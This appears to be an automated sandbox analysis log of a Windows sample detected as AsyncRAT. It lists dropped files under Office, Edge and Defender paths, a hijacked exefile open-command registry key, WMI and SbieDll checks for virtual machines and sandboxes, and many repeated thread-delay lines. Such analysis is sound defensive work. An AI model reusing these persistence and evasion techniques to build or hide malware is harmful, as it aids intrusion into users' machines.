Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPED

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command NULL			Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command NULL			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: LisectAVT_2403002B_4.exe, LisectAVT_2403002B_4.exe.0.dr

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Memory allocated: C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Memory allocated: 2870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Memory allocated: 27B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599138	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 599031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598805	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596554	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596219	Jump to behavior
